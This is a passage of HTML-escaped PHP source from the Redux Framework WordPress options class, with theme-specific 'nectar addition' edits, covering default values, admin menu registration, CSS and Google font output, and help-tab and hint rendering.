                        } elseif ( $field[&#039;type&#039;] == &quot;select&quot; ) {
                            $this-&gt;options_defaults[ $field[&#039;id&#039;] ] = &#039;&#039;;
                        } else {
                            $this-&gt;options_defaults[ $field[&#039;id&#039;] ] = $field[&#039;options&#039;];
                        }
                    }
                }
            }

            /**
             * Get default options into an array suitable for the settings API
             *
             * @since       1.0.0
             * @access      public
             * @return      array $this-&gt;options_defaults
             */
            public function _default_values() {
                if ( ! is_null( $this-&gt;sections ) &amp;&amp; is_null( $this-&gt;options_defaults ) ) {

                    // fill the cache
                    foreach ( $this-&gt;sections as $sk =&gt; $section ) {
                        if ( ! isset ( $section[&#039;id&#039;] ) ) {
                            if ( ! is_numeric( $sk ) || ! isset ( $section[&#039;title&#039;] ) ) {
                                $section[&#039;id&#039;] = $sk;
                            } else {
                                $section[&#039;id&#039;] = sanitize_title( $section[&#039;title&#039;], $sk );
                            }
                            $this-&gt;sections[ $sk ] = $section;
                        }
                        if ( isset ( $section[&#039;fields&#039;] ) ) {
                            foreach ( $section[&#039;fields&#039;] as $k =&gt; $field ) {
                                if ( empty ( $field[&#039;id&#039;] ) &amp;&amp; empty ( $field[&#039;type&#039;] ) ) {
                                    continue;
                                }

                                if ( in_array( $field[&#039;type&#039;], array( &#039;ace_editor&#039; ) ) &amp;&amp; isset ( $field[&#039;options&#039;] ) ) {
                                    $this-&gt;sections[ $sk ][&#039;fields&#039;][ $k ][&#039;args&#039;] = $field[&#039;options&#039;];
                                    unset ( $this-&gt;sections[ $sk ][&#039;fields&#039;][ $k ][&#039;options&#039;] );
                                }

                                if ( $field[&#039;type&#039;] == &quot;section&quot; &amp;&amp; isset ( $field[&#039;indent&#039;] ) &amp;&amp; $field[&#039;indent&#039;] == &quot;true&quot; ) {
                                    $field[&#039;class&#039;] = isset ( $field[&#039;class&#039;] ) ? $field[&#039;class&#039;] : &#039;&#039;;
                                    $field[&#039;class&#039;] .= &quot; redux-section-indent-start&quot;;
                                    $this-&gt;sections[ $sk ][&#039;fields&#039;][ $k ] = $field;
                                }
                                $this-&gt;field_default_values( $field );
                            }
                        }
                    }
                }

                /**
                 * filter &#039;redux/options/{opt_name}/defaults&#039;
                 *
                 * @param array $defaults option default values
                 */
                $this-&gt;transients[&#039;changed_values&#039;] = isset ( $this-&gt;transients[&#039;changed_values&#039;] ) ? $this-&gt;transients[&#039;changed_values&#039;] : array();
                $this-&gt;options_defaults             = apply_filters( &quot;redux/options/{$this-&gt;args[&#039;opt_name&#039;]}/defaults&quot;, $this-&gt;options_defaults, $this-&gt;transients[&#039;changed_values&#039;] );

                return $this-&gt;options_defaults;
            }

            /**
             * Set default options on admin_init if option doesn&#039;t exist
             *
             * @since       1.0.0
             * @access      public
             * @return      void
             */
            private function _default_cleanup() {

                // Fix the global variable name
                if ( $this-&gt;args[&#039;global_variable&#039;] == &quot;&quot; &amp;&amp; $this-&gt;args[&#039;global_variable&#039;] !== false ) {
                    $this-&gt;args[&#039;global_variable&#039;] = str_replace( &#039;-&#039;, &#039;_&#039;, $this-&gt;args[&#039;opt_name&#039;] );
                }

                // Force dev_mode on WP_DEBUG = true and if it&#039;s a local server
                if ( Redux_Helpers::isLocalHost() || ( Redux_Helpers::isWpDebug() ) ) {
                    if ( $this-&gt;args[&#039;dev_mode&#039;] != true ) {
                        $this-&gt;args[&#039;update_notice&#039;] = false;
                    }
                    $this-&gt;dev_mode_forced  = true;
                    $this-&gt;args[&#039;dev_mode&#039;] = true;
//                    if ( isset( $this-&gt;args[&#039;forced_dev_mode_off&#039;] ) &amp;&amp; $this-&gt;args[&#039;forced_dev_mode_off&#039;] == true ) {
//                        $this-&gt;dev_mode_forced  = false;
//                        $this-&gt;args[&#039;dev_mode&#039;] = false;
//                    }
                }

                // Auto create the page_slug appropriately
                if ( empty( $this-&gt;args[&#039;page_slug&#039;] ) ) {
                    if ( ! empty( $this-&gt;args[&#039;display_name&#039;] ) ) {
                        $this-&gt;args[&#039;page_slug&#039;] = sanitize_html_class( $this-&gt;args[&#039;display_name&#039;] );
                    } else if ( ! empty( $this-&gt;args[&#039;page_title&#039;] ) ) {
                        $this-&gt;args[&#039;page_slug&#039;] = sanitize_html_class( $this-&gt;args[&#039;page_title&#039;] );
                    } else if ( ! empty( $this-&gt;args[&#039;menu_title&#039;] ) ) {
                        $this-&gt;args[&#039;page_slug&#039;] = sanitize_html_class( $this-&gt;args[&#039;menu_title&#039;] );
                    } else {
                        $this-&gt;args[&#039;page_slug&#039;] = str_replace( &#039;-&#039;, &#039;_&#039;, $this-&gt;args[&#039;opt_name&#039;] );
                    }
                }

                if ( isset( $this-&gt;args[&#039;customizer_only&#039;] ) &amp;&amp; $this-&gt;args[&#039;customizer_only&#039;] == true ) {
                    $this-&gt;args[&#039;menu_type&#039;]      = &#039;hidden&#039;;
                    $this-&gt;args[&#039;customizer&#039;]     = true;
                    $this-&gt;args[&#039;admin_bar&#039;]      = false;
                    $this-&gt;args[&#039;allow_sub_menu&#039;] = false;
                }

                // Check if the Airplane Mode plugin is installed
                if ( class_exists( &#039;Airplane_Mode_Core&#039; ) ) {
                    $airplane = Airplane_Mode_Core::getInstance();
                    if ( method_exists( $airplane, &#039;enabled&#039; ) ) {
                        if ( $airplane-&gt;enabled() ) {
                            $this-&gt;args[&#039;use_cdn&#039;] = false;
                        }
                    } else if ( $airplane-&gt;check_status() == &#039;on&#039; ) {
                        $this-&gt;args[&#039;use_cdn&#039;] = false;
                    }
                }
            }

            /**
             * Class Add Sub Menu Function, creates options submenu in Wordpress admin area.
             *
             * @since       3.1.9
             * @access      private
             * @return      void
             */
            private function add_submenu( $page_parent, $page_title, $menu_title, $page_permissions, $page_slug ) {
                global $submenu;

                // Just in case. One never knows.
                $page_parent = strtolower( $page_parent );

                $test = array(
                    &#039;index.php&#039;               =&gt; &#039;dashboard&#039;,
                    &#039;edit.php&#039;                =&gt; &#039;posts&#039;,
                    &#039;upload.php&#039;              =&gt; &#039;media&#039;,
                    &#039;link-manager.php&#039;        =&gt; &#039;links&#039;,
                    &#039;edit.php?post_type=page&#039; =&gt; &#039;pages&#039;,
                    &#039;edit-comments.php&#039;       =&gt; &#039;comments&#039;,
                    &#039;themes.php&#039;              =&gt; &#039;theme&#039;,
                    &#039;plugins.php&#039;             =&gt; &#039;plugins&#039;,
                    &#039;users.php&#039;               =&gt; &#039;users&#039;,
                    &#039;tools.php&#039;               =&gt; &#039;management&#039;,
                    &#039;options-general.php&#039;     =&gt; &#039;options&#039;,
                );

                if ( isset ( $test[ $page_parent ] ) ) {
                    $function   = &#039;add_&#039; . $test[ $page_parent ] . &#039;_page&#039;;
                    $this-&gt;page = $function (
                        $page_title, $menu_title, $page_permissions, $page_slug, array( $this, &#039;generate_panel&#039; )
                    );
                } else {
                    // Network settings and Post type menus. These do not have
                    // wrappers and need to be appened to using add_submenu_page.
                    // Okay, since we&#039;ve left the post type menu appending
                    // as default, we need to validate it, so anything that
                    // isn&#039;t post_type=&lt;post_type&gt; doesn&#039;t get through and mess
                    // things up.
                    $addMenu = false;
                    if ( &#039;settings.php&#039; != $page_parent ) {
                        // Establish the needle
                        $needle = &#039;?post_type=&#039;;

                        // Check if it exists in the page_parent (how I miss instr)
                        $needlePos = strrpos( $page_parent, $needle );

                        // It&#039;s there, so...
                        if ( $needlePos &gt; 0 ) {

                            // Get the post type.
                            $postType = substr( $page_parent, $needlePos + strlen( $needle ) );

                            // Ensure it exists.
                            if ( post_type_exists( $postType ) ) {
                                // Set flag to add the menu page
                                $addMenu = true;
                            }
                            // custom menu
                        } elseif ( isset ( $submenu[ $this-&gt;args[&#039;page_parent&#039;] ] ) ) {
                            $addMenu = true;
                        } else {
                            global $menu;

                            foreach ( $menu as $menupriority =&gt; $menuitem ) {
                                $needle_menu_slug = isset ( $menuitem ) ? $menuitem[2] : false;
                                if ( $needle_menu_slug != false ) {

                                    // check if the current needle menu equals page_parent
                                    if ( strcasecmp( $needle_menu_slug, $page_parent ) == 0 ) {

                                        // found an empty parent menu
                                        $addMenu = true;
                                    }
                                }
                            }
                        }
                    } else {
                        // The page_parent was settings.php, so set menu add
                        // flag to true.
                        $addMenu = true;
                    }
                    // Add the submenu if it&#039;s permitted.
                    if ( true == $addMenu ) {
                        // ONLY for non-wp.org themes OR plugins. Theme-Check alert shown if used and IS theme.
                        $this-&gt;page = call_user_func( &#039;add_submenu_page&#039;, $page_parent, $page_title, $menu_title, $page_permissions, $page_slug, array(
                            &amp;$this,
                            &#039;generate_panel&#039;
                        ) );
                    }
                }
            }

            /**
             * Class Options Page Function, creates main options page.
             *
             * @since       1.0.0
             * @access      public
             * @return void
             */
            public function _options_page() {

                if ( $this-&gt;args[&#039;menu_type&#039;] == &#039;hidden&#039; ) {

                    // No menu to add!
                } else if ( $this-&gt;args[&#039;menu_type&#039;] == &#039;submenu&#039; ) {
                    $this-&gt;add_submenu(
                        $this-&gt;args[&#039;page_parent&#039;], $this-&gt;args[&#039;page_title&#039;], $this-&gt;args[&#039;menu_title&#039;], $this-&gt;args[&#039;page_permissions&#039;], $this-&gt;args[&#039;page_slug&#039;]
                    );
                } else {
                    // Theme-Check notice is displayed for WP.org theme devs, informing them to NOT use this.
                    $this-&gt;page = call_user_func( &#039;add_menu_page&#039;, $this-&gt;args[&#039;page_title&#039;], $this-&gt;args[&#039;menu_title&#039;], $this-&gt;args[&#039;page_permissions&#039;], $this-&gt;args[&#039;page_slug&#039;], array(
                        &amp;$this,
                        &#039;generate_panel&#039;
                    ), $this-&gt;args[&#039;menu_icon&#039;], $this-&gt;args[&#039;page_priority&#039;]
                    );

                    if ( true === $this-&gt;args[&#039;allow_sub_menu&#039;] ) {
                        if ( ! isset ( $section[&#039;type&#039;] ) || $section[&#039;type&#039;] != &#039;divide&#039; ) {
                            foreach ( $this-&gt;sections as $k =&gt; $section ) {
                                $canBeSubSection = ( $k &gt; 0 &amp;&amp; ( ! isset ( $this-&gt;sections[ ( $k ) ][&#039;type&#039;] ) || $this-&gt;sections[ ( $k ) ][&#039;type&#039;] != &quot;divide&quot; ) ) ? true : false;

                                if ( ! isset ( $section[&#039;title&#039;] ) || ( $canBeSubSection &amp;&amp; ( isset ( $section[&#039;subsection&#039;] ) &amp;&amp; $section[&#039;subsection&#039;] == true ) ) ) {
                                    continue;
                                }

                                if ( isset ( $section[&#039;submenu&#039;] ) &amp;&amp; $section[&#039;submenu&#039;] == false ) {
                                    continue;
                                }

                                if ( isset ( $section[&#039;customizer_only&#039;] ) &amp;&amp; $section[&#039;customizer_only&#039;] == true ) {
                                    continue;
                                }

                                if ( isset ( $section[&#039;hidden&#039;] ) &amp;&amp; $section[&#039;hidden&#039;] == true ) {
                                    continue;
                                }

                                if ( isset( $section[&#039;permissions&#039;] ) &amp;&amp; ! self::current_user_can( $section[&#039;permissions&#039;] ) ) {
                                    continue;
                                }

                                // ONLY for non-wp.org themes OR plugins. Theme-Check alert shown if used and IS theme.
                                call_user_func( &#039;add_submenu_page&#039;, $this-&gt;args[&#039;page_slug&#039;], $section[&#039;title&#039;], $section[&#039;title&#039;], $this-&gt;args[&#039;page_permissions&#039;], $this-&gt;args[&#039;page_slug&#039;] . &#039;&amp;tab=&#039; . $k,

                                    &#039;__return_null&#039; );
                            }

                            // Remove parent submenu item instead of adding null item.
                            remove_submenu_page( $this-&gt;args[&#039;page_slug&#039;], $this-&gt;args[&#039;page_slug&#039;] );
                        }
                    }
                }

                add_action( &quot;load-{$this-&gt;page}&quot;, array( &amp;$this, &#039;_load_page&#039; ) );
            }
            // _options_page()

            /**
             * Add admin bar menu
             *
             * @since       3.1.5.16
             * @access      public
             * @global      $menu , $submenu, $wp_admin_bar
             * @return      void
             */
            /* nectar addition - remove admin bar menu*/


            /**
             * Output dynamic CSS at bottom of HEAD
             *
             * @since       3.2.8
             * @access      public
             * @return      void
             */
            public function _output_css() {
                if ( $this-&gt;args[&#039;output&#039;] == false &amp;&amp; $this-&gt;args[&#039;compiler&#039;] == false ) {
                    return;
                }

                if ( isset ( $this-&gt;no_output ) ) {
                    return;
                }

                if ( ! empty ( $this-&gt;outputCSS ) &amp;&amp; ( $this-&gt;args[&#039;output_tag&#039;] == true || ( isset ( $_POST[&#039;customized&#039;] ) ) ) ) {
                    echo &#039;&lt;style type=&quot;text/css&quot; title=&quot;dynamic-css&quot; class=&quot;options-output&quot;&gt;&#039; . $this-&gt;outputCSS . &#039;&lt;/style&gt;&#039;;
                }
            }

            /**
             * Enqueue CSS and Google fonts for front end
             *
             * @since       1.0.0
             * @access      public
             * @return      void
             */
            public function _enqueue_output() {
                if ( $this-&gt;args[&#039;output&#039;] == false &amp;&amp; $this-&gt;args[&#039;compiler&#039;] == false ) {
                    return;
                }

                /** @noinspection PhpUnusedLocalVariableInspection */
                foreach ( $this-&gt;sections as $k =&gt; $section ) {
                    if ( isset ( $section[&#039;type&#039;] ) &amp;&amp; ( $section[&#039;type&#039;] == &#039;divide&#039; ) ) {
                        continue;
                    }

                    if ( isset ( $section[&#039;fields&#039;] ) ) {
                        /** @noinspection PhpUnusedLocalVariableInspection */
                        foreach ( $section[&#039;fields&#039;] as $fieldk =&gt; $field ) {
                            if ( isset ( $field[&#039;type&#039;] ) &amp;&amp; $field[&#039;type&#039;] != &quot;callback&quot; ) {

                                /* nectar addition */
                                if( $field[&#039;type&#039;] != &quot;typography&quot; ) continue;
                                /* nectar addition end */

                                $field_class = &quot;ReduxFramework_{$field[&#039;type&#039;]}&quot;;
                                if ( ! class_exists( $field_class ) ) {

                                    if ( ! isset ( $field[&#039;compiler&#039;] ) ) {
                                        $field[&#039;compiler&#039;] = &quot;&quot;;
                                    }

                                    /**
                                     * Field class file
                                     * filter &#039;redux/{opt_name}/field/class/{field.type}
                                     *
                                     * @param       string        field class file
                                     * @param array $field        field config data
                                     */
                                    $class_file = apply_filters( &quot;redux/{$this-&gt;args[&#039;opt_name&#039;]}/field/class/{$field[&#039;type&#039;]}&quot;, self::$_dir . &quot;inc/fields/{$field[&#039;type&#039;]}/field_{$field[&#039;type&#039;]}.php&quot;, $field );

                                    if ( $class_file &amp;&amp; file_exists( $class_file ) &amp;&amp; ! class_exists( $field_class ) ) {
                                        /** @noinspection PhpIncludeInspection */
                                        require_once $class_file;
                                    }
                                }

                                if ( ! empty ( $this-&gt;options[ $field[&#039;id&#039;] ] ) &amp;&amp; class_exists( $field_class ) &amp;&amp; method_exists( $field_class, &#039;output&#039; ) &amp;&amp; $this-&gt;_can_output_css( $field ) ) {
                                    $field = apply_filters( &quot;redux/field/{$this-&gt;args[&#039;opt_name&#039;]}/output_css&quot;, $field );

                                    if ( ! empty ( $field[&#039;output&#039;] ) &amp;&amp; ! is_array( $field[&#039;output&#039;] ) ) {
                                        $field[&#039;output&#039;] = array( $field[&#039;output&#039;] );
                                    }

                                    $value   = isset ( $this-&gt;options[ $field[&#039;id&#039;] ] ) ? $this-&gt;options[ $field[&#039;id&#039;] ] : &#039;&#039;;
                                    $enqueue = new $field_class ( $field, $value, $this );

                                    if ( ( ( isset ( $field[&#039;output&#039;] ) &amp;&amp; ! empty ( $field[&#039;output&#039;] ) ) || ( isset ( $field[&#039;compiler&#039;] ) &amp;&amp; ! empty ( $field[&#039;compiler&#039;] ) ) || $field[&#039;type&#039;] == &quot;typography&quot; || $field[&#039;type&#039;] == &quot;icon_select&quot; ) ) {
                                        $enqueue-&gt;output();
                                    }
                                }
                            }
                        }
                    }
                }

                // For use like in the customizer. Stops the output, but passes the CSS in the variable for the compiler
                if ( isset ( $this-&gt;no_output ) ) {
                    return;
                }

                if ( ! empty ( $this-&gt;typography ) &amp;&amp; ! empty ( $this-&gt;typography ) &amp;&amp; filter_var( $this-&gt;args[&#039;output&#039;], FILTER_VALIDATE_BOOLEAN ) ) {
                    $version    = ! empty ( $this-&gt;transients[&#039;last_save&#039;] ) ? $this-&gt;transients[&#039;last_save&#039;] : &#039;&#039;;
                    $typography = new ReduxFramework_typography ( null, null, $this );

                    if ( $this-&gt;args[&#039;async_typography&#039;] &amp;&amp; ! empty ( $this-&gt;typography ) ) {
                        $families = array();
                        foreach ( $this-&gt;typography as $key =&gt; $value ) {
                            $families[] = $key;
                        }

                        /* nectar addition */
                        global $nectar_get_template_directory_uri;

                        ?&gt;
                        &lt;script&gt;
                            /* You can add more configuration options to webfontloader by previously defining the WebFontConfig with your options */
                            if ( typeof WebFontConfig === &quot;undefined&quot; ) {
                                WebFontConfig = new Object();
                            }

                            WebFontConfig[&#039;google&#039;] = {families: [&lt;?php echo trim($typography-&gt;makeGoogleWebfontString ( $this-&gt;typography )); ?&gt;]};

                            (function() {
                                var wf = document.createElement( &#039;script&#039; );
                                /*nectar addition - local load*/
                                wf.src = &lt;?php echo &quot;&#039;&quot; . get_template_directory_uri() . &#039;/nectar/assets/js/webfont.js&#039; . &quot;&#039;&quot;; ?&gt;;
                                /*nectar addition end */
                                wf.type = &#039;text/javascript&#039;;
                                wf.async = &#039;true&#039;;
                                var s = document.getElementsByTagName( &#039;script&#039; )[0];
                                s.parentNode.insertBefore( wf, s );
                            })();
                        &lt;/script&gt;
                        &lt;?php
                        /* nectar addition end */
                    } elseif ( ! $this-&gt;args[&#039;disable_google_fonts_link&#039;] ) {
                        /* nectar addition */
                        $protocol = ( is_ssl() ) ? &quot;https:&quot; : &quot;http:&quot;;
                        /* nectar addition end */

                        //echo &#039;&lt;link rel=&quot;stylesheet&quot; id=&quot;options-google-fonts&quot; title=&quot;&quot; href=&quot;&#039;.$protocol.$typography-&gt;makeGoogleWebfontLink( $this-&gt;typography ).&#039;&amp;amp;v=&#039;.$version.&#039;&quot; type=&quot;text/css&quot; media=&quot;all&quot; /&gt;&#039;;
                        wp_register_style( &#039;redux-google-fonts-&#039; . $this-&gt;args[&#039;opt_name&#039;], $protocol . $typography-&gt;makeGoogleWebfontLink( $this-&gt;typography ), &#039;&#039;, $version );
                        wp_enqueue_style( &#039;redux-google-fonts-&#039; . $this-&gt;args[&#039;opt_name&#039;] );
                    }
                }
            }
            // _enqueue_output()

            /**
             * Enqueue CSS/JS for options page
             *
             * @since       1.0.0
             * @access      public
             * @global      $wp_styles
             * @return      void
             */
            public function _enqueue() {
                require_once &#039;core/enqueue.php&#039;;
                $enqueue = new reduxCoreEnqueue ( $this );
                $enqueue-&gt;init();
            }
            // _enqueue()

            /**
             * Show page help
             *
             * @since       1.0.0
             * @access      public
             * @return      void
             */
            public function _load_page() {

                // Do admin head action for this page
                add_action( &#039;admin_head&#039;, array( &amp;$this, &#039;admin_head&#039; ) );

                // Do admin footer text hook
                add_filter( &#039;admin_footer_text&#039;, array( &amp;$this, &#039;admin_footer_text&#039; ) );

                $screen = get_current_screen();

                if ( is_array( $this-&gt;args[&#039;help_tabs&#039;] ) ) {
                    foreach ( $this-&gt;args[&#039;help_tabs&#039;] as $tab ) {
                        $screen-&gt;add_help_tab( $tab );
                    }
                }

                // If hint argument is set, display hint tab
                if ( true == $this-&gt;show_hints ) {
                    /* nectar addition */
                    /*
                    global $current_user;

                    // Users enable/disable hint choice
                    $hint_status = get_user_meta( $current_user-&gt;ID, &#039;ignore_hints&#039; ) ? get_user_meta( $current_user-&gt;ID, &#039;ignore_hints&#039;, true ) : &#039;true&#039;;

                    // current page parameters
                    $curPage = esc_attr( $_GET[&#039;page&#039;] );

                    $curTab = &#039;0&#039;;
                    if ( isset ( $_GET[&#039;tab&#039;] ) ) {
                        $curTab = esc_attr( $_GET[&#039;tab&#039;] );
                    }

                    // Default url values for enabling hints.
                    $dismiss = &#039;true&#039;;
                    $s       = __( &#039;Enable&#039;, &#039;redux-framework&#039; );

                    // Values for disabling hints.
                    if ( &#039;true&#039; == $hint_status ) {
                        $dismiss = &#039;false&#039;;
                        $s       = __( &#039;Disable&#039;, &#039;redux-framework&#039; );
                    }

                    // Make URL
                    $url = &#039;&lt;a class=&quot;redux_hint_status&quot; href=&quot;?dismiss=&#039; . $dismiss . &#039;&amp;amp;id=hints&amp;amp;page=&#039; . $curPage . &#039;&amp;amp;tab=&#039; . $curTab . &#039;&quot;&gt;&#039; . $s . &#039; hints&lt;/a&gt;&#039;;

                    $event = __( &#039;moving the mouse over&#039;, &#039;redux-framework&#039; );
                    if ( &#039;click&#039; == $this-&gt;args[&#039;hints&#039;][&#039;tip_effect&#039;][&#039;show&#039;][&#039;event&#039;] ) {
                        $event = __( &#039;clicking&#039;, &#039;redux-framework&#039; );
                    }

                    // Construct message
                    $msg = sprintf( __( &#039;Hints are tooltips that popup when %d the hint icon, offering addition information about the field in which they appear.  They can be %d d by using the link below.&#039;, &#039;redux-framework&#039; ), $event, strtolower( $s ) ) . &#039;&lt;br/&gt;&lt;br/&gt;&#039; . $url;

                    // Construct hint tab
                    $tab = array(
                        &#039;id&#039;      =&gt; &#039;redux-hint-tab&#039;,
                        &#039;title&#039;   =&gt; __( &#039;Hints&#039;, &#039;redux-framework&#039; ),
                        &#039;content&#039; =&gt; &#039;&lt;p&gt;&#039; . $msg . &#039;&lt;/p&gt;&#039;
                    );

                    $screen-&gt;add_help_tab( $tab ); */
                    /* nectar addition end */
                }

                // Sidebar text
                if ( $this-&gt;args[&#039;help_sidebar&#039;] != &#039;&#039; ) {

                    // Specify users text from arguments
                    $screen-&gt;set_help_sidebar( $this-&gt;args[&#039;help_sidebar&#039;] );
                } else {

                    // If sidebar text is empty and hints are active, display text
                    // about hints.
                    if ( true == $this-&gt;show_hints ) {
                        $screen-&gt;set_help_sidebar( &#039;&lt;p&gt;&lt;strong&gt;Redux Framework&lt;/strong&gt;&lt;br/&gt;&lt;br/&gt;Hint Tooltip Preferences&lt;/p&gt;&#039; );
                    }
                }

                /**
                 * action &#039;redux-load-page-{opt_name}&#039;
                 *
                 * @deprecated
                 *
                 * @param object $screen WP_Screen
                 */
                do_action( &quot;redux-load-page-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $screen ); // REMOVE

                /**
                 * action &#039;redux/page/{opt_name}/load&#039;
                 *
                 * @param object $screen WP_Screen
                 */
                do_action( &quot;redux/page/{$this-&gt;args[&#039;opt_name&#039;]}/load&quot;, $screen );
            }
            // _load_page()

            /**
             * Do action redux-admin-head for options page
             *
             * @since       1.0.0
             * @access      public
             * @return      void
             */
            public function admin_head() {
                /**
                 * action &#039;redux-admin-head-{opt_name}&#039;
                 *
                 * @deprecated
                 *
                 * @param  object $this ReduxFramework
                 */
                do_action( &quot;redux-admin-head-{$this-&gt;args[&#039;opt_name&#039;]}&quot;, $this ); // REMOVE

                /**
                 * action &#039;redux/page/{opt_name}/header&#039;
                 *
                 * @param  object $this ReduxFramework
                 */
                do_action( &quot;redux/page/{$this-&gt;args[&#039;opt_name&#039;]}/header&quot;, $this );
            }
            // admin_head()

            /**
             * Return footer text
             *
             * @since       2.0.0
             * @access      public
             * @return      string $this-&gt;args[&#039;footer_credit&#039;]
             */
            public function admin_footer_text() {
                return $this-&gt;args[&#039;footer_credit&#039;];
            }
            // admin_footer_text()

            /**
             * Return default output string for use in panel
             *
             * @since       3.1.5
             * @access      public
             * @return      string default_output
             */
            private function get_default_output_string( $field ) {
                $default_output = &quot;&quot;;

                if ( ! isset ( $field[&#039;default&#039;] ) ) {
                    $field[&#039;default&#039;] = &quot;&quot;;
                }

                if ( ! is_array( $field[&#039;default&#039;] ) ) {
                    if ( ! empty ( $field[&#039;options&#039;][ $field[&#039;default&#039;] ] ) ) {
                        if ( ! empty ( $field[&#039;options&#039;][ $field[&#039;default&#039;] ][&#039;alt&#039;] ) ) {
                            $default_output .= $field[&#039;options&#039;][ $field[&#039;default&#039;] ][&#039;alt&#039;] . &#039;, &#039;;
                        } else {
                            // TODO: This serialize fix may not be the best solution. Look into it. PHP 5.4 error without serialize
                            if ( ! is_array( $field[&#039;options&#039;][ $field[&#039;default&#039;] ] ) ) {
                                $default_output .= $field[&#039;options&#039;][ $field[&#039;default&#039;] ] . &quot;, &quot;;
                            } else {
                                $default_output .= serialize( $field[&#039;options&#039;][ $field[&#039;default&#039;] ] ) . &quot;, &quot;;
                            }
                        }
                    } else if ( ! empty ( $field[&#039;options&#039;][ $field[&#039;default&#039;] ] ) ) {
                        $default_output .= $field[&#039;options&#039;][ $field[&#039;default&#039;] ] . &quot;, &quot;;
                    } else if ( ! empty ( $field[&#039;default&#039;] ) ) {
                        if ( $field[&#039;type&#039;] == &#039;switch&#039; &amp;&amp; isset ( $field[&#039;on&#039;] ) &amp;&amp; isset ( $field[&#039;off&#039;] ) ) {
                            $default_output .= ( $field[&#039;default&#039;] == 1 ? $field[&#039;on&#039;] : $field[&#039;off&#039;] ) . &#039;, &#039;;
                        } else {
                            $default_output .= $field[&#039;default&#039;] . &#039;, &#039;;
                        }
                    }
                } else {
                    foreach ( $field[&#039;default&#039;] as $defaultk =&gt; $defaultv ) {
                        if ( ! empty ( $field[&#039;options&#039;][ $defaultv ][&#039;alt&#039;] ) ) {
                            $default_output .= $field[&#039;options&#039;][ $defaultv ][&#039;alt&#039;] . &#039;, &#039;;
                        } else if ( ! empty ( $field[&#039;options&#039;][ $defaultv ] ) ) {
                            $default_output .= $field[&#039;options&#039;][ $defaultv ] . &quot;, &quot;;
                        } else if ( ! empty ( $field[&#039;options&#039;][ $defaultk ] ) ) {
                            $default_output .= $field[&#039;options&#039;][ $defaultk ] . &quot;, &quot;;
                        } else if ( ! empty ( $defaultv ) ) {
                            $default_output .= $defaultv . &#039;, &#039;;
                        }
                    }
                }

                if ( ! empty ( $default_output ) ) {
                    $default_output = __( &#039;Default&#039;, &#039;redux-framework&#039; ) . &quot;: &quot; . substr( $default_output, 0, - 2 );
                }

                if ( ! empty ( $default_output ) ) {
                    $default_output = &#039;&lt;span class=&quot;showDefaults&quot;&gt;&#039; . $default_output . &#039;&lt;/span&gt;&lt;br class=&quot;default_br&quot; /&gt;&#039;;
                }

                return $default_output;
            }

            // get_default_output_string()

            public function get_header_html( $field ) {
                global $current_user;

                // Set to empty string to avoid wanrings.
                $hint = &#039;&#039;;
                $th   = &quot;&quot;;

                if ( isset ( $field[&#039;title&#039;] ) &amp;&amp; isset ( $field[&#039;type&#039;] ) &amp;&amp; $field[&#039;type&#039;] !== &quot;info&quot; &amp;&amp; $field[&#039;type&#039;] !== &quot;section&quot; ) {
                    $default_mark = ( ! empty ( $field[&#039;default&#039;] ) &amp;&amp; isset ( $this-&gt;options[ $field[&#039;id&#039;] ] ) &amp;&amp; $this-&gt;options[ $field[&#039;id&#039;] ] == $field[&#039;default&#039;] &amp;&amp; ! empty ( $this-&gt;args[&#039;default_mark&#039;] ) &amp;&amp; isset ( $field[&#039;default&#039;] ) ) ? $this-&gt;args[&#039;default_mark&#039;] : &#039;&#039;;

                    // If a hint is specified in the field, process it.
                    if ( isset ( $field[&#039;hint&#039;] ) &amp;&amp; ! &#039;&#039; == $field[&#039;hint&#039;] ) {

                        // Set show_hints flag to true, so helptab will be displayed.
                        $this-&gt;show_hints = true;

                        $hint = apply_filters( &#039;redux/hints/html&#039;, $hint, $field, $this-&gt;args );

                        // Get user pref for displaying hints.
                        $metaVal = get_user_meta( $current_user-&gt;ID, &#039;ignore_hints&#039;, true );
                        if ( &#039;true&#039; == $metaVal || empty ( $metaVal ) &amp;&amp; empty( $hint ) ) {

                            // Set hand cursor for clickable hints
                            $pointer = &#039;&#039;;
                            if ( isset ( $this-&gt;args[&#039;hints&#039;][&#039;tip_effect&#039;][&#039;show&#039;][&#039;event&#039;] ) &amp;&amp; &#039;click&#039; == $this-&gt;args[&#039;hints&#039;][&#039;tip_effect&#039;][&#039;show&#039;][&#039;event&#039;] ) {
                                $pointer = &#039;pointer&#039;;
                            }

                            $size = &#039;16px&#039;;
                            if ( &#039;large&#039; == $this-&gt;args[&#039;hints&#039;][&#039;icon_size&#039;] ) {
                                $size = &#039;18px&#039;;
                            }

                            // In case docs are ignored.
                            $titleParam   = isset ( $field[&#039;hint&#039;][&#039;title&#039;] ) ? $field[&#039;hint&#039;][&#039;title&#039;] : &#039;&#039;;
                            $contentParam = isset ( $field[&#039;hint&#039;][&#039;content&#039;] ) ? $field[&#039;hint&#039;][&#039;content&#039;] : &#039;&#039;;

                            $hint_color = isset ( $this-&gt;args[&#039;hints&#039;][&#039;icon_color&#039;] ) ? $this-&gt;args[&#039;hints&#039;][&#039;icon_color&#039;] : &#039;#d3d3d3&#039;;

                            // Set hint html with appropriate position css
                            $hint = &#039;&lt;div class=&quot;redux-hint-qtip&quot; style=&quot;float:&#039; . $this-&gt;args[&#039;hints&#039;][&#039;icon_position&#039;] . &#039;; font-size: &#039; . $size . &#039;; color:&#039; . $hint_color . &#039;; cursor: &#039; . $pointer . &#039;;&quot; qtip-title=&quot;&#039; . $titleParam . &#039;&quot; qtip-content=&quot;&#039; . $contentParam . &#039;&quot;&gt;&amp;nbsp;&lt;i class=&quot;&#039; . ( isset( $this-&gt;args[&#039;hints&#039;][&#039;icon&#039;] ) ? $this-&gt;args[&#039;hints&#039;][&#039;icon&#039;] : &#039;&#039; ) . &#039;&quot;&gt;&lt;/i&gt;&lt;/div&gt;&#039;;
                        }
                    }

                    if ( ! empty ( $field[&#039;title&#039;] ) ) {
                        if ( &#039;left&#039; == $this-&gt;args[&#039;hints&#039;][&#039;icon_position&#039;] ) {
                            $th = $hint . $field[&#039;title&#039;] . $default_mark . &quot;&quot;;
                        } else {
                            $th = $field[&#039;title&#039;] . $default_mark . &quot;&quot; . $hint;
                        }
                    }

                    if ( isset ( $field[&#039;subtitle&#039;] ) ) {
                        $th .= &#039;&lt;span class=&quot;description&quot;&gt;&#039; . $field[&#039;subtitle&#039;] . &#039;&lt;/span&gt;&#039;;
                    }
                }

                if ( ! empty ( $th ) ) {
